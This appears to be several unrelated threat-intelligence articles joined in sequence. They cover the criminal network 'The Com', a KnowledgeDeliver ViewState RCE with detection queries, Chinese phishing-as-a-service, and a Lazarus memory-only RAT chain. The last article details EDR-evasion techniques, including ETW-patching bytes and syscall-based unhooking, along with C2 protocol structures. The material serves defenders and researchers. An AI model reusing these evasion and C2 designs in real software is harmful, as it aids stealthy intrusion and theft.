Crews in this pillar have also successfully breached major targets by attacking their trusted vendors. For instance, Lapsus$ compromised Okta by targeting its third-party contractor, Sykes, while Scattered Spider has repeatedly targeted Okta’s identity services to pivot into their clients’ networks.
Once inside a network, threat actors avoid detection by using legitimate, preexisting software and other remote admin tools such as AnyDesk, Ngrok, and Teleport to maintain persistence and move laterally. They often gamify this access, mocking victims for allowing them to simply “log in” using standard admin tools rather than having to hack their way in via complex exploits. They treat the ease of access as a testament to the victim’s incompetence.
A SIM swap attack is a foundational TTP used by financially motivated actors that involves social engineering mobile carriers to hijack a target’s phone number, usually resulting in the takeover of high-value cryptocurrency accounts.
The Extort Com pillar functions as a machine designed for psychological control, coercion, and sexual exploitation of minors. Its goals intersect squarely with NVE ideologies, resulting in a marketplace and production center for CSAM and extreme violence, where members often trade these materials as a form of social currency.
Targets are migrated from public channels, which include social media and video games such as Roblox and Minecraft, to private ones maintained by The Com. Once moved, the dynamic shifts from recruitment to active exploitation, which is done to ensure the victim’s compliance.
The “In Real Life” (IRL) pillar serves as the physical enforcement arm of the ecosystem, effectively bridging the gap between virtual threats and reality. Sometimes referred to by law enforcement as “IRL Terror,” members often turn online animosity and disputes into real-world harm against people and their property.
The evolution of The Com represents a fundamental shift in the global threat landscape. It is not enough to view cybercrime as a purely financial risk or domestic extremism as a purely ideological one, the two have merged into a self-sustaining engine where stolen corporate capital fuels the radicalization and exploitation of the next generation.
As The Com continues to professionalize its tradecraft and expand its reach, the boundary between our digital and physical worlds will only continue to thin. To protect against this decentralized threat, organizations will require a mutli-layered defense strategy that is powered by intelligence that is sourced at the heart of these groups. Request a demo to learn more.
The post Understanding Illicit Ecosystems: The Hybrid Threat of “The Com” appeared first on Flashpoint.
Written by: Takahiro Sugiyama, Peter Revelant, Mathew Potaczek
In late 2025, Mandiant responded to a security incident involving a compromised web server running KnowledgeDeliver. KnowledgeDeliver is a Learning Management System (LMS) developed by Digital Knowledge commonly used in Japan. Mandiant identified a critical vulnerability that allowed unauthenticated Remote Code Execution (RCE). An unknown threat actor leveraged this access to inject malicious code into the LMS platform, with the goal of infecting users visiting the site.
This vulnerability stems from the use of identical pre-shared ASP.NET machine keys across multiple customer deployments. The vulnerability was initially exploited as a zero-day, now tracked as CVE-2026-5426.
KnowledgeDeliver installations deployed before Feb. 24, 2026 relied on a standardized web.config file provided by the vendor. This configuration file contained hardcoded machineKey values used by the ASP.NET framework to encrypt and sign data, including ViewState payloads.
Because these keys were identical across independent customer environments, a threat actor who obtained the keys from one deployment could compromise any other internet-facing KnowledgeDeliver instance.
The following is an example of the relevant configuration line found in the web.config file:
<machineKey decryptionKey="<REDACTED>" validationKey="<REDACTED>" />The ASP.NET ViewState persists page state across postbacks. When the machineKey is known, a threat actor can craft a malicious ViewState payload. By sending this payload in an HTTP request (via the __VIEWSTATE parameter), the threat actor can make the server deserialize it.
This technique follows the pattern of the ViewState Deserialization Zero-Day Vulnerability affecting Sitecore (previously reported by Mandiant), and Code injection attacks using publicly disclosed ASP.NET machine keys reported by Microsoft. This highlights how it is critical to keep the machine key unique and secure.
Once access was established, the threat actors focused on maintaining their presence and expanding the impact of the compromise.
The threat actor deployed a .NET-based in-memory web shell called BLUEBEAM (also known as Godzilla). The use of BLUEBEAM is consistent with the Microsoft reporting. This malware operates entirely in memory within the IIS worker process (w3wp.exe), making it difficult to detect through traditional file-based scanning. It allows threat actors to execute further commands and payloads by sending encrypted data via HTTP POST request bodies.
The threat actor was observed executing commands to escalate their control over the web server's file system:
Permission Modification: The threat actor used icacls to grant "Everyone" full access to the web application directory.
JavaScript Tampering: The threat actor modified an application JavaScript file, adding code to perform the following:
Display a fake security alert, prompting users to install a "security authentication plugin".
Silently load a remote malicious script hosted on a threat actor-controlled domain.
The remote script convinced users to download a fake installer, which led to workstations being infected with a Cobalt Strike BEACON backdoor. The payload was encrypted using a key that used the name of the compromised organization, which indicated that the threat actor prepared this payload specifically for the targeted organization.
Organizations should monitor for the following indicators to identify potential ViewState exploitation and post-exploitation activity.
Monitor the Windows Application log for Event ID 1316 from the source ASP.NET 4.0.30319.0 (or similar).
Failed Attempt (Integrity Failure): Event code: 4009-++-Viewstate verification failed. Reason: The viewstate supplied failed integrity check. May indicate an attack attempt with an incorrect key.
Successful Execution (Invalid ViewState): Event code: 4009-++-Viewstate verification failed. Reason: Viewstate was invalid. Confirms integrity checks were passed. Deserialization of the payload was attempted and may have succeeded. The payload may or may not have been executed.
Mandiant decrypted payload strings recorded in the event log messages with the server’s machine keys and recovered a payload related to a BLUEBEAM web shell.
Monitor for unusual child processes spawned by w3wp.exe. Commands observed include:
cmd.exe /c ...
whoami
powershell.exe
Monitor for unauthorized changes to .js, .aspx, or .config files within the web root. Specifically, look for the addition of remote script loaders or unusual logic in commonly used libraries.
Mandiant identified User-Agent strings consisting of two distinct identifiers concatenated together, which were consistent with ones reported in ViewState Deserialization Zero-Day vulnerability. Monitor for web request logs for such anomalous User-Agent strings. The following are examples of identified User-Agent strings:
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Rotate Machine Keys: Immediately generate a unique, cryptographically strong machine key for each KnowledgeDeliver instance. This is the only way to invalidate the shared secret.
Restrict Access: If possible, limit access to the LMS to known organizational IP address ranges.
Investigation: Hunt for this activity, and conduct a thorough investigation if any signs of exploitation are identified.
The exploitation of KnowledgeDeliver highlights the severe risks of using shared secrets in deployment templates. A single leaked key can compromise an entire ecosystem of installations. By implementing unique secrets and robust endpoint monitoring, organizations can defend against these deserialization attacks.
To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a free GTI Collection for registered users.
|
File Name |
Type |
SHA-256 |
|
|
BLUEBEAM |
|
The following SecOps searches can be used to hunt for this activity.
(metadata.log_type = "WINEVTLOG" or metadata.log_type = "WINEVTLOG_XML")
metadata.product_event_type = "1316"
additional.fields["Message"] = /Event code: 4009\b/ nocase(metadata.event_type = "PROCESS_LAUNCH" or metadata.event_type = "PROCESS_OPEN") AND
principal.process.command_line = /w3wp.exe/ nocase AND
target.process.command_line = /cmd.+ \/c |whoami|powershell/ nocaseSecOps customers have access to the following rules and more under the Mandiant Hunting Rules, Mandiant Frontline Threats, Mandiant Intel Emerging Threats rule packs:
ASP.NET ViewState Deserialization Attempt
W3wp Launching Cmd With Recon Commands
W3wp Launching Encoded Powershell
W3wp Launching Icacls
Web Server Process Launching Whoami
IIS ViewState Exploitation Success
IIS ViewState Exploitation Followed by Web Root File Tampering
Possible Windows Exchange Server Spawning Shell
Mandiant would like to extend our thanks to the Digital Knowledge team for their collaboration regarding this disclosure.
While Russian-speaking threat actors have historically dominated the phishing-as-a-service (PhaaS) landscape, a rival ecosystem is rapidly growing within the Chinese-language underground. Google Threat Intelligence Group (GTIG) analyzed a dozen current PhaaS offerings in the Chinese underground, all of them mature services and many likely tied intricately to the broader criminal ecosystem in that region. These services not only lower the barrier to entry for Chinese cyber criminals, but reveal broader patterns on the evolution of social engineering and credential theft. Late last year, Google took legal action against one PhaaS provider and has worked since then to endorse legislation and enact technical safeguards against these types of scams.
Within this ecosystem, GTIG has observed a fundamental move away from static password harvesting towards real-time interception and tokenization. By utilizing live administration panels, attackers can interact with victims in real-time to capture one-time passcodes (OTPs), allowing them to bypass multifactor authentication (MFA) instantly.
Instead of simply gaining account access, these operations focus on exploiting digital wallet provisioning to transform stolen payment data into tokenized assets within ecosystems. This shift—combined with the use of encrypted delivery channels like RCS and iMessage to bypass traditional carrier security filters on SMS messages—represents an emerging development where the goal is no longer just a login, but securing direct, unauthorized control over a victim's financial accounts.
Figure 1: Example phishing site chain
The Chinese-language PhaaS ecosystem is not merely a regional mirror of Russian operations – it is a distinct market shaped by a unique professional culture. Nearly all the legitimate organizations mimicked by these phishing services are non-Chinese entities, suggesting they rarely target China.
Public impact: Unlike the major Russia-based PhaaS offerings that are typically used to target customers of large organizations, phishing services advertised in Chinese-language communities are often designed to target the general public more opportunistically.
Open Operations: In contrast to their Russian-speaking counterparts, providers of Chinese-language phishing services often operate openly with less regard for operational security. For instance, the threat actors running these services regularly post photos of their luxury lifestyles on Telegram.
Focus on Telegram: Advertisements for the phishing services are regularly posted to Telegram rather than channels such as WeChat (Weixin) or Tencent QQ, which are regionally more popular. This approach is consistent with the broader Chinese-language cyber crime ecosystem.
Extensive offering: While PhaaS is at the core of these operations, these developers also typically offer numerous ancillary services, forming a complete, mature, and extensive offering. These include the sale of personally identifiable information (PII), domain name registration and virtual private server (VPS) hosting services, server rentals, money laundering services, eavesdropping devices (International Mobile Subscriber Identity [IMSI] catchers), and message sending services (spamming assistance). Some platform vendors are also involved in trading stolen payment card information.
The Chinese-speaking PhaaS ecosystem has shifted towards a highly automated model capable of generating localized content for diverse international markets. Unlike traditional phishing kits that have historically relied on static and poorly translated templates, these operators provide the infrastructure for cultural fluency at scale. By offering everything from AI-powered page generators to region-specific delivery assistance, they enable low-skilled affiliates to launch high-fidelity campaigns.
YY Lai Yu (YY来鱼), first advertised in August 2024, is one example of a PhaaS offering that provides a local digital ecosystem. While the platform supports phishing across 119 countries, its largest focus has been on Japan. Managed by a core team including "YY Lai Yu," "Jeffrey Carrie," and "Very casual," the service provides Chinese-speaking threat actors with the localized infrastructure necessary to effectively target the Japanese consumer ecosystem.
Figure 2: A graph of countries targeted by YY Lai Yu (YY来鱼) phishing
Figure 3: A YY Lai Yu (YY来鱼) phishing page targeting a Japanese user’s Apple account
Figure 4: A YY Lai Yu (YY来鱼) phishing page targeting a Japanese user’s PayPay account, the largest Japanese mobile payment app
Since November 2025, YY Lai Yu has offered more than 400 phishing templates to its customers, moving beyond generic banking lures to also target the digital lifestyle of Japanese residents. These templates included various Japanese language and Japanese brands, including for Amazon, Apple, DMM, Epos Card, JA Bank, JCB Card, JR (Rail), Matsui Securities, Mercari, Monex, Nintendo, Nomura Securities, Orico Card, PayPay, Rakuten Securities, and Sagawa Express. However, instead of merely providing fake account pages, the threat actors tapped heavily into local consumer habits by developing "points" (积分) and rewards redemption lures, pressuring victims to redeem supposedly expiring loyalty points for cash or goods. Demonstrating a deep awareness of the local economic climate, the operators also exploited cost-of-living concerns by crafting lures around the Japan Winter Electricity Subsidy.
By deploying distinct domains that impersonate everything from local transit and payment apps to major e-commerce and gaming platforms, YY Lai Yu provides an example of how comprehensive these PhaaS offerings have become. To protect this highly localized infrastructure, the phishing sites featured a unique human verification anti-bot screen that appeared prior to the actual phishing page. By requiring a manual click to proceed, this mechanism successfully hindered automated analysis by security vendors, adding a layer of stealth to the localized campaign.
Like most other services, YY Lai Yu leverages RCS and iMessage to send encrypted messages in bulk and supports synchronized interactions with victims to harvest payment card and OTP data. The administration panel allows users to query their phished data and blocklist or highlight certain types of cards according to their BIN number, blocklist individual countries or territories, and register and manage new domains for their phishing pages using Alibaba's domain registration service. Additionally, panel administrators can create new operator users and assign them permissions. The service also offers domains that can be purchased within the administration panel.
While YY Lai Yu showcases a focus on countries like Japan, the broader Chinese PhaaS ecosystem casts a wide global net. GTIG has observed other prominent services routinely deploying automated infrastructure to compromise users across the Americas, Europe, Australia, and the Middle East.
The continued popularity of these services demonstrates a sustained interest in payment card fraud from China-based threat actors. The multitude of sophisticated PhaaS platforms available for purchase and the threat actors' focus on the exploitation of digital wallet tokenization and MFA bypass demonstrates that the China-based criminal ecosystem continues to evolve, enabling threat actors with limited technical skills to conduct phishing operations.
Standard phishing security measures (such as user awareness training) remain an important first line of defense. However, the proliferation of the Chinese-language PhaaS ecosystem underscores a need for technical security controls that go beyond user education. For example, transitioning to FIDO2/WebAuthn infrastructure represents an effective countermeasure against the real-time interception of account authentication OTPs. While security keys cannot prevent a user from entering payment details into a novel phishing site directly, increasing the difficulty of leveraging stolen credentials still radically shrinks an adversary's opportunities. These enterprise authentication upgrades should be paired with risk-based verification and device fingerprinting by issuing banks during the digital wallet provisioning process.
As these operators continue to refine their tooling, the goal for defenders must shift from simply "detecting" a phish to making the victim's credentials technically impossible to weaponize. Ongoing and frequent updates to these platforms indicate that Chinese-speaking PhaaS operators are continuing to refine their tooling to maximize global impact.
Authors: Yun Zheng Hu and Mick Koomen
Last year, we published research1 about a North Korean Lazarus subgroup targeting financial and cryptocurrency organizations, encountered during multiple incident response engagements. This Lazarus subgroup overlaps with activity linked to AppleJeus2, Citrine Sleet3, UNC47364, and Gleaming Pisces5. In one investigation, we observed that the actor had replaced ThemeForestRAT and PondRAT with a more sophisticated memory-only toolset. This follow-up post covers all three malware families from that toolset: DPAPILoader, RemotePELoader and RemotePE.
The three form a chain. DPAPILoader decrypts and loads RemotePELoader from disk using the Windows Data Protection API (DPAPI). RemotePELoader beacons to a C2 server and waits until it receives the next stage: RemotePE, a RAT executed entirely in memory and never written to disk, leaving no filesystem artifacts. At the time of writing, we have not found samples of RemotePELoader or RemotePE on VirusTotal.
The toolset’s environmental keying, memory-only execution, EDR evasion, and low forensic footprint suggest it is purpose-built for long-term observation campaigns. This allows the actor to quietly maintain access over an extended period before moving to a high-impact final objective such as data theft or a large-scale financial heist, consistent with this actor’s known history.
We are sharing samples with detection rules and indicators of compromise (IOCs) to help defenders identify and respond to this toolset in their environments.
DPAPILoader is implemented as a DLL whose purpose is to decrypt and load an encrypted payload from disk using DPAPI. In the incident response case, it was found as C:\Windows\System32\Iassvc.dll, installed under the service name “Internet Authentication Service.” This service runs Iassvc.dll automatically on system startup, providing persistence for the toolset. The filename and service name are chosen to mimic the legitimate Windows Server Internet Authentication Service (IAS) and its accompanying DLL C:\Windows\System32\iassvcs.dll (note the extra ‘s’ in the filename).
In Listing 1, we list a Windows service record, extracted from the forensic image using Dissect6, that shows the masquerading in detail.
name (string) = Ias
displayname (string) = Internet Authentication Service
description (string) = Internet Authentication Service (IAS) is a component of Windows Server operating systems that provides centralized user authentication, authorization and accounting.
servicedll (path) = %SystemRoot%\system32\Iassvc.dll
imagepath (path) = %systemroot%\system32\svchost.exe
imagepath_args (string) = -k netsvcs -p
objectname (string) = LocalSystem
start (string) = Auto Start (2)
type (string) = Service - Own Process (0x10)
errorcontrol (string) = Normal (1)
Listing 1: Service record from Dissect showing Windows service that runs DPAPILoader
The sample from our investigation first checks whether it is running under C:\Windows\System32\Svchost.exe. It then loops over all files matching the wildcard path C:\ProgramData\Microsoft\Windows\DeviceMetadataStore\en-US*.*. This directory normally contains Microsoft Cabinet files used for device metadata packages. DPAPILoader skips any file beginning with the Cabinet magic bytes (MSCF / 4D 53 43 46), filtering out legitimate metadata packages. Any file that passes this check and is larger than 51200 bytes (50 KiB) is decrypted using DPAPI and loaded into memory using libpeconv7 , an open-source reflective PE loading library.
Across the DPAPILoader samples we observed, the loading mechanism and host process differ, as documented in the Observed Samples section, but the core behaviour is consistent.
DPAPILoader uses the Windows Data Protection API (DPAPI) to decrypt its payload. DPAPI ties cryptographic keys to a specific user account, with key management handled entirely by the OS. The caller only invokes encrypt and decrypt functions.
This offers the actor two advantages. First, the encrypted payload on disk is never in plaintext: if a sample is uploaded to VirusTotal, it is useless without the victim’s DPAPI keys. Static analysis is effectively impossible without them. Second, each deployment produces a unique encrypted blob, meaning the payload hash differs across victims and evades hash-based detection. The only prerequisite is prior access to the target machine to encrypt and drop the payload, something the actor has at this stage of the intrusion.
After DPAPI decryption, the payload is additionally XORed with 0x8D before loading. This is consistent across all observed DPAPILoader samples. This approach is an instance of environmental keying8, where malware is bound to a specific victim environment and cannot be analysed or executed elsewhere.
We identified three DPAPILoader samples spanning roughly nine months, with differences in loading mechanism, host process, and payload storage.
The first sample (Iassvc.dll) is loaded as a Windows service via Svchost.exe, the second (sspicli.dll) is sideloaded by ESET’s edp.exe, and the third (wmiclnt.dll) uses the WmiOpenBlock export with no identified host process.
| PE timestamp | DLL name | Export | String obfuscation |
|---|---|---|---|
| 2023-11-14 | Iassvc.dll | ServiceMain | XOR 0x8D |
| 2024-02-21 | sspicli.dll | InitSecurityInterfaceW | XOR 0x8D |
| 2024-08-21 | wmiclnt.dll | WmiOpenBlock | DPAPI + XOR 0x8D |
The first two samples load the DPAPI-encrypted payload from the DeviceMetadataStore path. The third embeds the encrypted payload directly in the DLL, removing the dependency on a separate file on disk.
The second and third samples were found on VirusTotal. Without the victims’ DPAPI keys, we are unable to decrypt them. Both are a practical demonstration of the environmental keying discussed earlier.
The first sample comes from our incident response case, where a full forensic image of the compromised machine gave us access to the victim’s DPAPI keys, allowing us to trivially decrypt the payload using a Dissect9 shell:
It turns out the decrypted payload is another loader, which we named RemotePELoader.
RemotePELoader is decrypted from the DPAPI payload on disk and is responsible for retrieving the core module from a C2 server and loading it into memory. Both the loader and the core module share a configuration file stored on disk, and are designed to work as a pair, deployed together as part of the same installation. Upon execution, RemotePELoader spawns a thread that first applies evasion techniques, reads the configuration, and then enters a C2 polling loop. It has no RAT functionality of its own; its sole purpose is to load the next stage.
RemotePELoader applies two evasion techniques before performing any further actions. The first is HellsGate10 (specifically the TartarusGate11 variant), a technique that dynamically resolves Windows syscall numbers at runtime. It scans the loaded ntdll.dll for syscall stubs to obtain the numbers for NtOpenSection, NtMapViewOfSection, NtUnmapViewOfSection, NtProtectVirtualMemory, and NtClose. Using these direct syscalls, RemotePELoader iterates the Process Environment Block’s module list and remaps each DLL from its \KnownDlls section object, a kernel-maintained mapping of trusted system DLLs, replacing any hooked in-memory copies with clean ones and effectively unhooking all userland security product hooks.
The second is patching Event Tracing for Windows (ETW), a Windows mechanism used by security products to monitor process behaviour at runtime. RemotePELoader patches function EtwEventWrite() in the current process using a well-known technique, overwriting it with the following bytes.
48 33 c0 ; XOR RAX, RAX c3 ; RET
Listing 2: Bytes written to EtwEventWrite to disable ETW event generation
This causes EtwEventWrite to immediately return 0, suppressing all ETW event generation and preventing security tooling that relies on ETW telemetry from receiving events.
Together, these two techniques hinder detection by endpoint security products that rely on userland API hooking or ETW telemetry.
After applying evasion techniques, RemotePELoader reads a configuration file using the same wildcard search as DPAPILoader:\??\C:\ProgramData\Microsoft\Windows\DeviceMetadataStore\en-US*.*
The configuration file is smaller than the encrypted RemotePELoader payload, so it identifies it by looking for a file that does not begin with Cabinet magic bytes and is smaller than 20480 bytes (20 KiB). When found, it decrypts the contents using DPAPI and XORs all bytes with 0x8D.
The configuration file structure is depicted in Listing 3.
struct RemotePEC2Config // sizeof=0xb38
{
int dwReconnectMinutes; // minutes to wait after C2 session ends
int dwSleepUntilEpoch; // UNIX epoch wake-up timestamp
int dwSleepMin; // minimum sleep time between C2 polls
int dwSleepMax; // maximum sleep time between C2 polls
wchar_t wsC2Url_1[260]; // C2 URL (up to three)
wchar_t wsC2Url_2[260];
wchar_t wsC2Url_3[260];
wchar_t wsProxy[260]; // optional proxy address
char sProxyUserName[128]; // optional proxy username
char sProxyPassword[128]; // optional proxy password
wchar_t wsUserAgent[260]; // configurable HTTP user-agent string
};
Listing 3: RemotePE C2 configuration structure on disk
Since both RemotePELoader and the configuration file reside in the same directory, a size check is used to distinguish between them, without it, the configuration file could be mistakenly loaded as a PE, or the PE read as a configuration file. This shared logic, combined with the identical cryptographic scheme, further ties the two loaders together as a coordinated toolset.
After reading the configuration, RemotePELoader enters a loop until it receives a PE payload from the server. On the first run it sleeps until the configured wake-up timestamp and on subsequent iterations it sleeps for a random interval within the configured bounds. It then finds an active C2 server via a check-in request and keeps polling for a PE payload. If no payload is returned, it restarts the loop. Once a payload is received, it sends a confirmation request to the active C2, loads the retrieved PE payload using libpeconv, and exits the thread.
RemotePELoader communicates with the C2 server over HTTP, using POST requests. Host information is passed via the HTTP Cookie header, with a check-in request identified by the presence of at_check=true. The server responds with a JSON object where the odata.metadata key contains the C2 session ID. Once a session ID is obtained, subsequent requests replace the at_check cookie with ai_session, set to the session ID received from the server. The table below documents each cookie field used in the check-in request.
| Cookie name | Cookie value description |
|---|---|
| MSCC | Random buffer with regex [0-9a-z]{24} prepended to the string “-c1=2-c2=2-c3=2” |
| MicrosoftApplicationsTelemetryDeviceId | Bot ID |
| MSFPC | Random numbers with format string “%08lx%08lx%08lx%08lx” |
| HASH | Random number with format string “%04x” |
| LV | Current year and month in YYYYMM format |
| V | Constant number |
| LU | Epoch of current time |
| MS0 | Random numbers with format string “%08lx%08lx%08lx%08lx”, likely to indicate RemotePELoader request |
| at_check | Indicates a check-in request (no session yet) |
| ai_session | Session ID from C2 after initial check-in |
Once a C2 session is established, RemotePELoader polls the server at random intervals between the configured minimum and maximum sleep times. In our tests, the server did not immediately return a payload, suggesting an actor-in-the-loop model where the operator manually decides when to deliver it. When the operator delivers the payload, the server returns a JSON object where the odata.metadata key contains the PE payload, AES-GCM encrypted and Base64-encoded.
All messages exchanged with the C2 server are AES-encrypted, except for the initial check-in response containing the session ID. The AES key and nonce for each message are derived using SplitMix64, seeded with a random value generated by a Mersenne Twister PRNG. Each message is structured as follows, with the seed prepended to the AES-GCM tag and ciphertext:
struct C2Message {
uint64_t aes_seed; // SplitMix64 seed for AES key and nonce
unsigned char aes_tag[16]; // AES authentication tag
unsigned char ciphertext[]; // AES-GCM encrypted data
};
Listing 4: C2 message structure used by RemotePELoader and RemotePE
The decrypted payload is RemotePE, a fully-fledged RAT that runs entirely in memory, covered in the next section.
RemotePE is a fully-fledged RAT that we retrieved directly from a RemotePELoader C2 server by emulating its C2 protocol.
Written in C++ using object-oriented programming, RemotePE is a multithreaded program that appears to share a codebase with RemotePELoader. Both components share the same on-disk configuration file, this is by design: if an operator updates the configuration and the host reboots, both components need to read the same updated values to maintain access. Furthermore, C2 logic, including session handling, AES-GCM encryption, and the C2Message structure are equal. Also, in the samples from our investigation, RemotePELoader and RemotePE each verify they were loaded by the previous stage by checking that lpReserved == 0x1000 in DllMain, enforcing the integrity of the chain.
RemotePE starts two threads at startup. The first, IChannelController, handles C2 communication. The second, IMiddleController, processes commands received from the C2 server. When the C2 server ends the current session, both threads stop and RemotePE either exits or sleeps until the configured wake-up time.
The IChannelController thread first locates an active C2 server and then polls it for commands. Between each polling iteration, the thread sleeps for a configured random interval, or wakes immediately if command output is available. In that case, the output is sent back to the C2 server without waiting for the next polling interval, allowing the operator to issue the next command promptly. Received commands are pushed to a queue consumed by IMiddleController.
The IMiddleController thread processes commands from the queue and pushes output back to a queue read by IChannelController. Each C2 message from the server consists of a list of entries delimited by $, where each entry is a bundle of commands (see the C2 Protocol section). Commands can optionally be executed in a separate thread, and all output is merged into a single reply sent back to the server.
While sleeping, RemotePE also checks for the existence of a Windows event named 554D5C1F-AABE-49E4-AB57-994D22ECED28. If present, it wakes immediately and restarts both controller threads. Neither RemotePE nor the loaders create this event, implying it is created externally as an out-of-band mechanism to wake RemotePE on demand.
RemotePE supports six categories of commands, identified by their C++ runtime type information (RTTI) class names. The table below lists each class along with the functionality it exposes. An operator invokes a function by specifying its class ID and function ID, along with any required parameters.
| Internal class name | Class ID | Function ID | Description |
|---|---|---|---|
IConfigProfile |
0 | 0 | Get the current C2 configuration |
| 1 | Set the C2 configuration | ||
IConsole |
1 | 0 | Get the current working directory |
| 1 | Change the current working directory | ||
| 2 | Execute a command and return its output | ||
| 3 | Get loaded modules (DLLs) | ||
| 4 | Register a new module (DLL) | ||
| 5 | Invoke a registered module’s function pointer with arguments | ||
| 6 | Unload a module (DLL) | ||
IFileExplorer |
2 | 0 | Get information on the drives of the system |
| 1 | List the files in a directory | ||
| 2 | Delete a file | ||
| 3 | Rename a file | ||
| 4 | Read from a file | ||
| 5 | Write to a file | ||
| 6 | ZIP a file or directory and return it as data | ||
IProcess |
3 | 0 | Get process listing |
| 1 | Kill process by ID | ||
| 2 | Search for a file in the directories of a given environment variable | ||
| 3 | Create a process | ||
| 4 | Create a process as a user | ||
ITimer |
4 | 0 | Sleep for X minutes, non-persistent |
| 1 | Sleep for X minutes, and persist this also in the C2 configuration on disk | ||
| 2 | Exit RemotePE | ||
IPing |
5 | N/a | A no-op command |
Most commands provide standard RAT functionality. One notable exception is the file deletion command, which overwrites each file with constant bytes seven times before renaming and deleting it, a secure deletion pattern consistent with PondRAT and POOLRAT, two malware families previously associated with this actor. Unlike some implementations that overwrite with random bytes, RemotePE uses constant bytes, though the multi-pass overwrite and rename pattern is shared.
RemotePE also implements a plugin system that allows the operator to dynamically register DLL payloads at runtime. These payloads must be valid both as a Windows DLL and as reflective shellcode, with the DLL entry point re-executed to unload them: a dual-format requirement and unload behaviour that matches pe_to_shellcode12 , which refers to such payloads as “shellcodified DLLs”. RemotePE can hold multiple plugins simultaneously, which the operator can invoke via the IConsole commands described above.
Similar to RemotePELoader, the IChannelController thread begins by locating an active C2 server via a check-in request, then polls it in a loop. The request format is largely identical to that of RemotePELoader, with one exception: RemotePE uses the MUID cookie instead of MS0, which the C2 server likely uses to differentiate between the two families. Session handling is identical to RemotePELoader. For a full description of cookie fields, see the RemotePELoader C2 Communication section.
Though RemotePE communicates with the same C2 server as RemotePELoader, the protocol diverges after the initial check-in. The outer message structure is identical to RemotePELoader’s C2Message (seed, AES-GCM tag, and ciphertext). The decrypted ciphertext, however, contains a RemotePE-specific structure, see Listing 5.
struct C2Command {
uint32_t payload_size;
uint16_t class_id; // class ID from the commands table
uint16_t function_id; // function ID from the commands table
uint32_t request_id; // used to match responses
unsigned char payload[]; // variable length, payload_size bytes
};
struct C2CommandBatch {
uint16_t command_count;
C2Command commands[]; // variable length, command_count entries
};
Listing 5: RemotePE C2 command structures
Command responses sent back to the server use the structures defined in Listing 6.
struct C2CommandResponse {
uint32_t response_size;
uint32_t error; // error code, if any
uint32_t request_id; // used to respond to a C2Command request
unsigned char payload[]; // variable length, compressed, response_size bytes
};
struct C2CommandResponseBatch {
uint16_t command_count;
C2CommandResponse commands[]; // variable length, command_count entries
};
Listing 6: RemotePE command output structures
When IChannelController receives a C2CommandBatch, it decrypts it and pushes the commands to the queue consumed by IMiddleController, as described in the Control Flow section. Command output is compressed using MSZIP via the Windows Cabinet compression API (cabinet.dll).
Figure 5 shows the C2 server command parsing of the IMiddleController thread. At first, command batches can be delimited by the “$”, where each command of a batch is traversed. After running the commands, all command outputs that were not run as a separate thread are merged into a C2 reply that is sent back to the server.
Command output is compressed, and the whole C2CommandResponseBatch structure is AES-GCM encrypted and Base64-encoded, before being sent back to the C2 server in the armAuthorization JSON key. An example of this is shown in Figure 6. The JSON keys and HTTP cookie names used within the C2 protocol, e.g., armAuthorization, odata.metadata, and MSFPC are also used within the Microsoft ecosystem.
armAuthorization JSON keyA example Python script to decrypt C2 command responses can be found here:
We obtained four RemotePE samples: three retrieved from active C2 servers and one recovered through forensic analysis. The C2 servers were identified during the incident response engagement or through fingerprinting. Ordering the samples by PE compile timestamp reveals incremental changes across versions, primarily in the config loading mechanism and bot identification method, suggesting active development between mid-2023 and mid-2024.
| PE timestamp | Config loading | Bot ID |
|---|---|---|
| 2023-07-04 | Find DPAPI encrypted config on disk | SOFTWARE\Microsoft\SQMClient\MachineId |
| 2023-10-17 | C2 URLs passed via lpThreadParameter, fixed User-Agent | SOFTWARE\Microsoft\SQMClient\MachineId |
| 2024-04-18 | Find DPAPI encrypted config on disk | SOFTWARE\Microsoft\SQMClient\MachineId |
| 2024-05-11 | DPAPI config path passed via lpThreadParameter | Software\Microsoft\Cryptography\MachineGuid |
The 2023-10-17 sample does not use DPAPI and instead receives its C2 urls directly via lpThreadParameter, parsed using CommandLineToArgvW. Unlike the other samples, it also performs HellsGate syscall resolution and ETW patching itself, rather than relying on RemotePELoader to do so. This suggests that early versions of RemotePE were more standalone and not exclusively tied to the DPAPILoader/RemotePELoader chain, capable of being deployed by any loader passing the configuration as a thread parameter.
The table below shows the time between our initial check-in and RemotePE payload delivery across six successful retrieval sessions, along with the payload delivery time converted to Korea Standard Time (KST, UTC+9).
| C2 session started (UTC) | Payload returned (UTC) | Delta | Payload returned (KST,UTC+9) |
|---|---|---|---|
| 2024-02-07 00:21 | 2024-02-07 01:09 | 48 min | 2024-02-07 10:09 |
| 2024-12-09 08:48 | 2024-12-09 09:08 | 20 min | 2024-12-09 18:08 |
| 2024-12-10 23:57 | 2024-12-11 00:46 | 49 min | 2024-12-11 09:46 |
| 2025-01-10 08:21 | 2025-01-10 08:21 | 0 min | 2025-01-10 17:21 |
| 2025-02-10 21:56 | 2025-02-10 23:03 | 67 min | 2025-02-11 08:03 |
| 2025-07-09 11:57 | 2025-07-10 07:50 | 20 hrs | 2025-07-10 16:50 |
Many other sessions yielded no payload. All six successful payload deliveries fall within daytime hours in the UTC+9 timezone (08:00–19:00 KST), as shown in Table 5.
The RemotePE C2 infrastructure is hosted on Namecheap shared hosting, consistent with what we observed in earlier campaigns involving ThemeForestRAT and PondRAT. As with those campaigns, the use of shared hosting makes IP-based blocking ineffective, since the same server hosts legitimate domains.
Through fingerprinting of C2 server characteristics, we identified additional domains and servers beyond those found during the incident response engagement. These are listed in the IOCs section.
